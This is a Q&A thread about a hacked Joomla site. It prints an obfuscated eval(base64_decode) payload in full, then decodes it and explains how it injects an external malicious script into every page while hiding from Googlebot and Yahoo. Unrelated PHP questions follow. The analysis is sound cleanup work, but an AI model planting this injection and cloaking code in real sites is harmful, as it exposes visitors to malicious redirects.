My client's website was hacked, now the main URL redirects to a fake antivirus web page. So for now she has set a "contruction in progress" message with Joomla. Below is the code of the index.php page, in which I was hoping to find the damned redirection. But I can't. Can anybody help me finding it ?
<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXskR0xPQkFMU1snbXJfbm8nXT0xO2lmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXtmdW5jdGlvbiBnbWwoKXtpZiAoIXN0cmlzdHIoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLCJnb29nbGVib3QiKSYmKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpe3JldHVybiBiYXNlNjRfZGVjb2RlKCJQSE5qY21sd2RDQnpjbU05SW1oMGRIQTZMeTloWTNKdmMzTjFibWwyWlhKelpXbDBZbVZ2Y21jdVkyOXRMMjF0TG5Cb2NDSStQQzl6WTNKcGNIUSsiKTt9cmV0dXJuICIiO319aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0Qyl7JFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RD1Ab3JkKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywzLDEpKTskUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PTEwOyRSQTNENTJFNTJBNDg5MzZDREUwRjUzNTZCQjA4NjUyRjI9MDtpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjQpeyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9JFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQlsxXTskUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yKyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI7fWlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmOCl7JFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7fWlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxO31pZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjIpeyRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTI7fSRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9QGd6aW5mbGF0ZShAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkpO2lmKCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9PT1GQUxTRSl7JFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDO31yZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mzt9fWZ1bmN0aW9uIG1yb2JoKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpe0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREU9Z3pkZWNvZGUoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qik7aWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpO31lbHNle3JldHVybiAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFLmdtbCgpO319b2Jfc3RhcnQoJ21yb2JoJyk7fX0="));?><?php
/**
* #version $Id: index.php 6022 2006-12-18 22:30:07Z friesengeist $
* #package Joomla
* #copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
* #license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
// Set flag that this is a parent file
define( '_VALID_MOS', 1 );
// checks for configuration file, if none found loads installation page
if (!file_exists( 'configuration.php' ) || filesize( 'configuration.php' ) < 10) {
$self = rtrim( dirname( $_SERVER['PHP_SELF'] ), '/\\' ) . '/';
header("Location: http://" . $_SERVER['HTTP_HOST'] . $self . "installation/index.php" );
exit();
}
require( 'globals.php' );
require_once( 'configuration.php' );
// SSL check - $http_host returns <live site url>:<port number if it is 443>
$http_host = explode(':', $_SERVER['HTTP_HOST'] );
if( (!empty( $_SERVER['HTTPS'] ) && strtolower( $_SERVER['HTTPS'] ) != 'off' || isset( $http_host[1] ) && $http_host[1] == 443) && substr( $mosConfig_live_site, 0, 8 ) != 'https://' ) {
$mosConfig_live_site = 'https://'.substr( $mosConfig_live_site, 7 );
}
require_once( 'includes/joomla.php' );
//Installation sub folder check, removed for work with SVN
if (file_exists( 'installation/index.php' ) && $_VERSION->SVN == 0) {
define( '_INSTALL_CHECK', 1 );
include ( $mosConfig_absolute_path .'/offline.php');
exit();
}
// displays offline/maintanance page or bar
if ($mosConfig_offline == 1) {
require( $mosConfig_absolute_path .'/offline.php' );
}
// load system bot group
$_MAMBOTS->loadBotGroup( 'system' );
// trigger the onStart events
$_MAMBOTS->trigger( 'onStart' );
if (file_exists( $mosConfig_absolute_path .'/components/com_sef/sef.php' )) {
require_once( $mosConfig_absolute_path .'/components/com_sef/sef.php' );
} else {
require_once( $mosConfig_absolute_path .'/includes/sef.php' );
}
require_once( $mosConfig_absolute_path .'/includes/frontend.php' );
// retrieve some expected url (or form) arguments
$option = strval( strtolower( mosGetParam( $_REQUEST, 'option' ) ) );
$Itemid = intval( mosGetParam( $_REQUEST, 'Itemid', null ) );
if ($option == '') {
if ($Itemid) {
$query = "SELECT id, link"
. "\n FROM #__menu"
. "\n WHERE menutype = 'mainmenu'"
. "\n AND id = " . (int) $Itemid
. "\n AND published = 1"
;
$database->setQuery( $query );
} else {
$query = "SELECT id, link"
. "\n FROM #__menu"
. "\n WHERE menutype = 'mainmenu'"
. "\n AND published = 1"
. "\n ORDER BY parent, ordering"
;
$database->setQuery( $query, 0, 1 );
}
$menu = new mosMenu( $database );
if ($database->loadObject( $menu )) {
$Itemid = $menu->id;
}
$link = $menu->link;
if (($pos = strpos( $link, '?' )) !== false) {
$link = substr( $link, $pos+1 ). '&Itemid='.$Itemid;
}
parse_str( $link, $temp );
/** this is a patch, need to rework when globals are handled better */
foreach ($temp as $k=>$v) {
$GLOBALS[$k] = $v;
$_REQUEST[$k] = $v;
if ($k == 'option') {
$option = $v;
}
}
}
if ( !$Itemid ) {
// when no Itemid give a default value
$Itemid = 99999999;
}
// mainframe is an API workhorse, lots of 'core' interaction routines
$mainframe = new mosMainFrame( $database, $option, '.' );
$mainframe->initSession();
// trigger the onAfterStart events
$_MAMBOTS->trigger( 'onAfterStart' );
// checking if we can find the Itemid thru the content
if ( $option == 'com_content' && $Itemid === 0 ) {
$id = intval( mosGetParam( $_REQUEST, 'id', 0 ) );
$Itemid = $mainframe->getItemid( $id );
}
/** do we have a valid Itemid yet?? */
if ( $Itemid === 0 ) {
/** Nope, just use the homepage then. */
$query = "SELECT id"
. "\n FROM #__menu"
. "\n WHERE menutype = 'mainmenu'"
. "\n AND published = 1"
. "\n ORDER BY parent, ordering"
;
$database->setQuery( $query, 0, 1 );
$Itemid = $database->loadResult();
}
// patch to lessen the impact on templates
if ($option == 'search') {
$option = 'com_search';
}
// loads english language file by default
if ($mosConfig_lang=='') {
$mosConfig_lang = 'english';
}
include_once( $mosConfig_absolute_path .'/language/' . $mosConfig_lang . '.php' );
// frontend login & logout controls
$return = strval( mosGetParam( $_REQUEST, 'return', NULL ) );
$message = intval( mosGetParam( $_POST, 'message', 0 ) );
if ($option == 'login') {
$mainframe->login();
// JS Popup message
if ( $message ) {
?>
<script language="javascript" type="text/javascript">
<!--//
alert( "<?php echo addslashes( _LOGIN_SUCCESS ); ?>" );
//-->
</script>
<?php
}
if ( $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) {
// checks for the presence of a return url
// and ensures that this url is not the registration or login pages
// If a sessioncookie exists, redirect to the given page. Otherwise, take an extra round for a cookiecheck
if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
mosRedirect( $return );
} else {
mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $return ) );
}
} else {
// If a sessioncookie exists, redirect to the start page. Otherwise, take an extra round for a cookiecheck
if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
mosRedirect( $mosConfig_live_site .'/index.php' );
} else {
mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $mosConfig_live_site .'/index.php' ) );
}
}
} else if ($option == 'logout') {
$mainframe->logout();
// JS Popup message
if ( $message ) {
?>
<script language="javascript" type="text/javascript">
<!--//
alert( "<?php echo addslashes( _LOGOUT_SUCCESS ); ?>" );
//-->
</script>
<?php
}
if ( $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) {
// checks for the presence of a return url
// and ensures that this url is not the registration or logout pages
mosRedirect( $return );
} else {
mosRedirect( $mosConfig_live_site.'/index.php' );
}
} else if ($option == 'cookiecheck') {
// No cookie was set upon login. If it is set now, redirect to the given page. Otherwise, show error message.
if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
mosRedirect( $return );
} else {
mosErrorAlert( _ALERT_ENABLED );
}
}
/** get the information about the current user from the sessions table */
$my = $mainframe->getUser();
// detect first visit
$mainframe->detect();
// set for overlib check
$mainframe->set( 'loadOverlib', false );
$gid = intval( $my->gid );
// gets template for page
$cur_template = $mainframe->getTemplate();
/** temp fix - this feature is currently disabled */
/** #global A places to store information from processing of the component */
$_MOS_OPTION = array();
// precapture the output of the component
require_once( $mosConfig_absolute_path . '/editor/editor.php' );
ob_start();
if ($path = $mainframe->getPath( 'front' )) {
$task = strval( mosGetParam( $_REQUEST, 'task', '' ) );
$ret = mosMenuCheck( $Itemid, $option, $task, $gid );
if ($ret) {
require_once( $path );
} else {
mosNotAuth();
}
} else {
header( 'HTTP/1.0 404 Not Found' );
echo _NOT_EXIST;
}
$_MOS_OPTION['buffer'] = ob_get_contents();
ob_end_clean();
initGzip();
header( 'Expires: Mon, 26 Jul 1997 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
header( 'Cache-Control: no-store, no-cache, must-revalidate' );
header( 'Cache-Control: post-check=0, pre-check=0', false );
header( 'Pragma: no-cache' );
// display the offline alert if an admin is logged in
if (defined( '_ADMIN_OFFLINE' )) {
include( $mosConfig_absolute_path .'/offlinebar.php' );
}
// loads template file
if ( !file_exists( $mosConfig_absolute_path .'/templates/'. $cur_template .'/index.php' ) ) {
echo _TEMPLATE_WARN . $cur_template;
} else {
require_once( $mosConfig_absolute_path .'/templates/'. $cur_template .'/index.php' );
echo '<!-- '. time() .' -->';
}
// displays queries performed for page
if ($mosConfig_debug) {
echo $database->_ticker . ' queries executed';
echo '<pre>';
foreach ($database->_log as $k=>$sql) {
echo $k+1 . "\n" . $sql . '<hr />';
}
echo '</pre>';
}
doGzip();
?>
That bit at the beginning with the exec(base64_decode()) nonsense is your target. Not a part of your CMS, skeezy as hell.
Delete it and rejoice. And then update the Drupal instance, change the root and user passwords, and subscribe to Drupal dev's update RSS so you can stop this happening again.
So assuming you want to understand how that single line works, I went and decoded the base 64 string that is being evaluated as PHP code. It gives the following code
if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){$GLOBALS['mr_no']=1;if(!function_exists('mrobh')){if(!function_exists('gml')){function gml(){if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&&(!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9hY3Jvc3N1bml2ZXJzZWl0YmVvcmcuY29tL21tLnBocCI+PC9zY3JpcHQ+");}return "";}}if(!function_exists('gzdecode')){function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){$R30B2AB8DC1496D06B230A71D8962AF5D=#ord(#substr($R5A9CF1B497502ACA23C8F611A564684C,3,1));$RBE4C4D037E939226F65812885A53DAD9=10;$RA3D52E52A48936CDE0F5356BB08652F2=0;if($R30B2AB8DC1496D06B230A71D8962AF5D&4){$R63BEDE6B19266D4EFEAD07A4D91E29EB=#unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2));$R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1];$RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB;}if($R30B2AB8DC1496D06B230A71D8962AF5D&8){$RBE4C4D037E939226F65812885A53DAD9=#strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;}if($R30B2AB8DC1496D06B230A71D8962AF5D&16){$RBE4C4D037E939226F65812885A53DAD9=#strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;}if($R30B2AB8DC1496D06B230A71D8962AF5D&2){$RBE4C4D037E939226F65812885A53DAD9+=2;}$R034AE2AB94F99CC81B389A1822DA3353=#gzinflate(#substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9));if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){$R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C;}return $R034AE2AB94F99CC81B389A1822DA3353;}}function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){Header('Content-Encoding: none');$RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B);if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE);}else{return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml();}}ob_start('mrobh');}}
All the whitespace is stripped from it and the variables have names like $RA179ABD3A7B9E28C369F7B59C51B81DE. After cleaning this up a bit, the code looks as follows:
<?php
if (function_exists('ob_start') && !isset($GLOBALS['mr_no'])) {
$GLOBALS['mr_no'] = 1;
if (!function_exists('mrobh')) {
if (!function_exists('gml')) {
function gml()
{
if (!stristr($_SERVER["HTTP_USER_AGENT"], "googlebot") && (!stristr($_SERVER["HTTP_USER_AGENT"], "yahoo"))) {
return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9hY3Jvc3N1bml2ZXJzZWl0YmVvcmcuY29tL21tLnBocCI+PC9zY3JpcHQ+");
}
return "";
}
}
if (!function_exists('gzdecode')) {
function gzdecode($encoded)
{
$bitmask = #ord(#substr($encoded, 3, 1));
$ten = 10;
$zero = 0;
if ($bitmask & 4) {
$temp = #unpack('v', substr($encoded, 10, 2));
$temp = $temp[1];
$ten += 2 + $temp;
}
if ($bitmask & 8) {
$ten = #strpos($encoded, chr(0) , $ten) + 1;
}
if ($bitmask & 16) {
$ten = #strpos($encoded, chr(0) , $ten) + 1;
}
if ($bitmask & 2) {
$ten+= 2;
}
$inflated = #gzinflate(#substr($encoded, $ten));
if ($inflated === FALSE) {
$inflated = $encoded;
}
return $inflated;
}
}
function mrobh($input)
{
Header('Content-Encoding: none');
$decoded = gzdecode($input);
if (preg_match('/\<\/body/si', $decoded)) {
return preg_replace('/(\<\/body[^\>]*\>)/si', gml() . "\n" . '$1', $decoded);
}
else {
return $decoded . gml();
}
}
ob_start('mrobh');
}
}
A lot of this code consists of guards: a global is set so that the code is executed only once, even if the statement would occur multiple times, and it makes sure that all the functions are defined once and exactly once.
The crux is in the final line: it uses the ob_start function to make sure that the mrobh function is executed
when the output buffer is flushed (sent) or cleaned (with ob_flush(), ob_clean() or similar function) or when the output buffer is flushed to the browser at the end of the request.
This means that instead of outputting the result of the original script directly, all the generated output is buffered and passed to mrobh at the end.
Note how the original script ends with doGzip();, so all the HTML that the mrobh function receives is gzipped. Hence, the first thing it needs to do is decode it, which is where the gzdecode function comes in. After that $decode has the plain HTML output of the default Joomla script, which probably has a <html> tag with a <head> and a <body>. In that case, there should also be a </body> tag. In the final if statement, that closing tag is replaced by the output of the gml() function. That function again decodes a base 64 string, which turns out to be
<script src="http://***URL censored***"></script>
so instead of
regular output...
</body>
</html>
the end of the output now looks like
regular output...
<script src="http://***URL censored***"></script>
</body>
</html>
so that the script at that URL will be loaded as the browser parses the returned HTML.
Note that the gml function has an additional guard to make sure that whenever Google or Yahoo bots visit the page, the redirect does not take place - these search engines would detect that something malicious is going on and warn the user (if the user uses Chrome, even before actually visiting the page). The else clause in mrobh is just another safeguard in case the HTML does not contain a </body> tag - in that case the script tag is just appended at the end of whatever output there is, assuming that the browser will render it as HTML.
So what you end up with is your regular page, with an additional script tag. (Un)fortunately the domain it tries to load the JavaScript from does not seem to exist any longer, so we cannot see what the script did, but since you said users were redirected away from your site, it's safe to assume that it contained some tracking code followed by a
window.location.href = "http://mymaliciouspage";
TL;DR The first line contains the malicious code that cleverly manipulates your page's output to redirect the user (but not any search engine bots).
Solution: Just replace the whole first line with the original <?php (which you still see at the end of the bad code) and you will fix this problem (look into your server security and update Joomla to avoid getting hit again though).
You got hacked. You cannot trust any code on your server anymore. Nuke it. Redeploy your current version. Work on a hotfix to fix the security flaw, e.g. upgrade Joomla to its newest version, and do another deploy.
Just editing your hacked codebase is asking for trouble. Don't do that.
The security issue is still there and you don't know what else got put in place on your server.
Related
I'm kinda learning php as I go along here (though I do have some experience in other languages), so I'm hoping someone can point me in the right direction.
I'm using an add_action() function in functions.php to access the form data from an Elementor form. Works fine from within add_action(), however I cannot return any of the variables to make them available elsewhere within functions.php (I've tried adding "return $fields").
There's probably an easy solution, but I've been wracking my brain all weekend, and haven't gotten anywhere. Any thoughts?
Side Note: I've read elsewhere that using filters may be a solution, but it doesn't seem to be as simple as changing "add_action()" to "add_filter()".
add_action( 'elementor_pro/forms/new_record', function( $record ) {
$form_name = $record->get_form_settings( 'form_name' );
if ( 'MyElementorForm' !== $form_name ) {
return;
}
$raw_fields = $record->get( 'fields' );
$fields = [];
foreach ( $raw_fields as $id => $field ) {
$fields[ $id ] = $field['value'];
}
$letter_type = $fields['LetterType'];
// Send Test Email //
if($letter_type === "1"){
$message = "Upload";
} elseif($letter_type === "0"){
$message = "PDF";
} else {
$message = "Fail " . gettype($letter_type) . " " . $letter_type;
}
mail(
"my#email_address.com",
"Test",
"Test Message " . $message
);}, 10, 2);
I am developing a WP plugin which processes shortcodes and displays amazon item data in place of them. The plugin is working as desired, except for a little strange behavior. You can see my test run at http://passivetest.themebandit.com/test-post-for-zon-plugin/ .
If you scroll down on that page, you can see that 4 "1" s are appended to the content. The shortcode is processed 4 times in this page, and each time WP is adding an undesired 1 to the output. I don't understand why this is happening. There is no "1" anywhere in my html files, and its nowhere in the post content. All my functions just return the content that is to be replaced in place of the shortcode. Can someone please give an explanation for it and let me know how to remove these? Thanks in advance..
My code is as follows:
add_shortcode('zon_product', 'zon_process_shortcode');
// Zon Shortcode processor
function zon_process_shortcode($attributes, $content = null) {
global $zon_html_path;
// default options for shortcode
$options = array('asin' => '', 'style' => 'compact', 'loc' => 'com');
extract(shortcode_atts($options, $attributes));
$asin = $attributes['asin'];
// first find asin in local zon_data table
$zdb = ZonDbHandler::instance();
$product = $zdb->findASIN($asin);
if ($product) {
// if product exists in db, render template
return zon_display_product($product, $attributes);
} else {
// product does not exist in database, get data through amazon api worflow
$product = ZonLibrary::getAmazonProduct($asin, $attributes['loc']);
if ($product) {
// product data has been successfully retrieved and saved, render template
return zon_display_product($product, $attributes);
} else {
// error in fetching product data, check amazon access key id and api secret
$content = include($zon_html_path . 'html' . DIRECTORY_SEPARATOR . 'api_error.php');
return $content;
}
}
}
// Renders selected template with product data
function zon_display_product(ZonProduct $product, $attributes) {
global $zon_html_path;
global $zon_path;
// process other shortcode options
$view_vars = array();
$view_vars['style'] = (isset($attributes['style'])) ? $attributes['style'] : "default";
$view_vars['show_price'] = (isset($attributes['show_price']) && $attributes['show_price'] == 0) ? false : true;
$view_vars['price_updates'] = (isset($attributes['price_updates']) && $attributes['price_updates'] == 0) ? false : true;
$view_vars['hide_unavailable'] = (isset($attributes['hide_unavailable']) && $attributes['hide_unavailable'] == 1) ? true : false;
$view_vars['show_desc'] = (isset($attributes['show_desc']) && $attributes['show_desc'] == 0) ? false : true;
// check if template file exists
if (!is_file($zon_html_path . 'html' . DIRECTORY_SEPARATOR . $view_vars['style'] . '.php')) {
$content = 'ERROR! Zon Template not found. Please check you are using a correct value for the "style" parameter.';
return $content;
} else {
// get product array
$product = $product->getArray();
// if product is unavailable and hide_unavailable is true, return unavailable template
if ($view_vars['hide_unavailable']) {
if ((strpos($product['availability'], "Usually") === false) && strpos($product['availability'], "ships") === false) {
$content = include($zon_html_path . 'html' . DIRECTORY_SEPARATOR . 'unavailable.php');
return $content;
}
}
// render chosen template file
$content = include($zon_html_path . 'html' . DIRECTORY_SEPARATOR . $view_vars['style'] . '.php');
return $content;
}
}
The way I have my wiki set up I need an extension that allows breadcrumbs to work and not duplicate , as well as, shrink when you go back a page. I cannot use subpage breadcrumb extensions. I would appreciate it if anyone who has a good eye for fixing code, would be able to adjust this code so that I do not get the Strict standards: Only variables should be assigned by reference in C: It occurs on line 109:
$m_skin =& $wgUser->getSkin();
Thank you in advance!
<?php
# The BreadCrumbs extension, an extension for providing an breadcrumbs
# navigation to users.
# #addtogroup Extensions
# #author Manuel Schneider <manuel.schneider#wikimedia.ch>
# #author Kimon Andreou
# #copyright © 2007 by Manuel Schneider, Kimon Andreou
# #licence GNU General Public Licence 2.0 or later
if( !defined( 'MEDIAWIKI' ) ) {
echo( "This file is an extension to the MediaWiki software and cannot be used
standalone.\n" );
die();
}
## Options:
# set the delimiter
$wgBreadCrumbsDelimiter = ' > ';
# number of breadcrumbs to use
$wgBreadCrumbsCount = 5;
$bcBreadCrumbs = new BreadCrumbs();
$wgExtensionFunctions[] = array($bcBreadCrumbs, 'setup');
$wgHooks['UserToggles'][] = array($bcBreadCrumbs, 'toggle');
$wgExtensionCredits['parserhook'][] = array(
'name' => 'BreadCrumbs',
'author' => 'Kimon Andreou',
'url' => 'http://www.mediawiki.org/wiki/Extension:BreadCrumbs_(Kimon)',
'description' => "Shows a breadcrumb navigation. Based heavily on Manuel Shneider's
extension[http://www.mediawiki.org/wiki/Extension:BreadCrumbs]"
);
##
## Main class
class BreadCrumbs {
#constructor
function BreadCrumbs() {}
## Set Hook:
function setup() {
global $wgUser, $wgHooks;
## Showing and updating the breadcrumbs trail
# Hook when viewing article header:
$wgHooks['ArticleViewHeader'][] = array($this, 'show');
## Infrastructure
# Hook our own CSS:
$wgHooks['OutputPageParserOutput'][] = array($this, 'output');
}
#Return our new user preference (t/f toggle)
function toggle(&$arr) {
global $wgMessageCache;
#named "breadcrumb" - original, no?
$arr[] = 'breadcrumb';
$wgMessageCache->addMessage('tog-breadcrumb', 'Use breadcrumbs');
return true;
}
#Show the breadcrumbs on the page
function show( &$m_pageObj ) {
global $wgUser, $wgTitle, $wgOut, $wgBreadCrumbsDelimiter, $wgBreadCrumbsCount;
# deserialize data from session into array:
$m_BreadCrumbs = array();
#If a session doesn't already exist, create one
if( isset( $_SESSION['BreadCrumbs'] ) ) {
$m_BreadCrumbs = $_SESSION['BreadCrumbs'];
}
else {
if( !isset( $_SESSION ) ) {
session_start();
}
$_SESSION['BreadCrumbs'] = array();
}
# cache index of last element:
$m_count = count( $m_BreadCrumbs ) - 1;
# if we've got too many entries, reduce the array:
if( count( $m_BreadCrumbs ) > 0 && $m_BreadCrumbs[ $m_count ] !=
$wg Title->getPrefixedText() ) {
# reduce the array set, remove older elements:
$m_BreadCrumbs = array_slice( $m_BreadCrumbs, ( 1 - $wgBreadCrumbsCount ) );
# add new page:
array_push( $m_BreadCrumbs, $wgTitle->getPrefixedText() );
}
else {
array_push( $m_BreadCrumbs, $wgTitle->getPrefixedText() );
}
#if returning to a page we've already visited, reduce the array
$loc = array_search($wgTitle->getPrefixedText(), $m_BreadCrumbs);
if(($loc >= 0)) {
#shrink array
$m_BreadCrumbs = array_slice($m_BreadCrumbs, 0, ($loc + 1));
}
# serialize data from array to session:
$_SESSION['BreadCrumbs'] = $m_BreadCrumbs;
# update cache:
$m_count = count( $m_BreadCrumbs ) - 1;
# acquire a skin object:
$m_skin =& $wgUser->getSkin();
# build the breadcrumbs trail:
$m_trail = "<div id=\"BreadCrumbsTrail\"> <i>Bread crumbs:</i> ";
for( $i = 1; $i <= $m_count; $i++ ) {
$m_trail .= $m_skin->makeLink( $m_BreadCrumbs[$i] );
if( $i < $m_count ) $m_trail .= $wgBreadCrumbsDelimiter;
}
$m_trail .= ' </div>';
$wgOut->addHTML( $m_trail );
# invalidate internal MediaWiki cache:
$wgTitle->invalidateCache();
$wgUser->invalidateCache();
# Return true to let the rest work:
return true;
}
## Entry point for the hook for printing the CSS:
# todo: find a better implementation
function output( &$m_pageObj, &$m_parserOutput ) {
global $wgScriptPath;
# Register CSS file for our select box:
$m_pageObj->addLink(
array(
'rel' => 'stylesheet',
'type' => 'text/css',
'href' => $wgScriptPath . '/extensions/BreadCrumbs/BreadCrumbs.css'
)
);
# Be nice:
return true;
}
}
?>'
I have removed $userName from line 1098 on Linker.php after following what Sammitch suggested:
public static function userLink( $userId, $userName, $altUserName = false ) {
if ( $userId == 0 ) {
$page = SpecialPage::getTitleFor( 'Contributions', $userName );
if ( $altUserName === false ) {
$altUserName = IP::prettifyIP( $userName );
}
} else {
$page = Title::makeTitle( NS_USER, $userName );
}
return self::link(
$page,
htmlspecialchars( $altUserName !== false ? $altUserName : $userName ),
array( 'class' => 'mw-userlink' )
);
}
This allows the breadcrumbs to show without any errors. However, now the pages do not show in breadcrumb links. I just have > > > as though the pages go in between the arrows. Can anyone take it from here and find out how to get the pages to appear? Was removing the $userName the cause of this?
Thanks
This extension is originally based on Breadcrumbs, which has been kept up to date: https://www.mediawiki.org/wiki/Extension:BreadCrumbs
Looking that that code, the links are now being made by calling the linker directly:
$title = Title::newFromText( $m_BreadCrumbs[$j] );
$breadcrumb = Linker::link( $title, $m_BreadCrumbs[$j] );
So adapting that to the older code:
$title = Title::newFromText( $m_BreadCrumbs[$i] );
$m_trail .= Linker::link( $title, $m_BreadCrumbs[$i] );
Should work for you. However, that may not be the last bit of deprecated code you run into with this old extension. It might be a good idea to look at moving to the maintained BreadCrumbs extension, instead - or at least compare the code you find there and see what other changes might be needed to get this one up to speed.
I am learning how to run iMacros from my php scripts so that PHP script calls an iMacros browser session and passes any variables that I have (url and macro name for example). The iMacros session then runs the iMacro, after the macro is done running it passes the resulting html page back to the PHP script and closes itself. In an ideal world, anyway.
Here is the iMacros calling script:
<?php
require 'src/iimfx.class.php';
$iim = new imacros();
$vars = array();
$iim->play($vars,'grab_data.iim');
?>
But when i run this script from cmd.exe [command line] on WAMP, I get this:
New imacros session started!
Using Proxy: MY_PROXY_IP:MY_PROXY_PORT
-runner -fx -fxProfile default
--------------------------------------------------------
Setting Value IP => MY_PROXY_IP
Setting Value port => MY_PROXY_PORT
Playing Macro proxy.iim
--------MACRO ERROR!-------------------
ERROR: Browser was not started. iimInit() failed?
--------------------------------------------------------
Playing Macro grab_google.iim
--------MACRO ERROR!-------------------
ERROR: Browser was not started. iimInit() failed?
P.S. MY_PROXY_IP and MY_PROXY_PORT are replaced with actual numbers both in error messages above and iimfx.class.php.
And here is code for the iimfx.class.php :
<?php
class imacros {
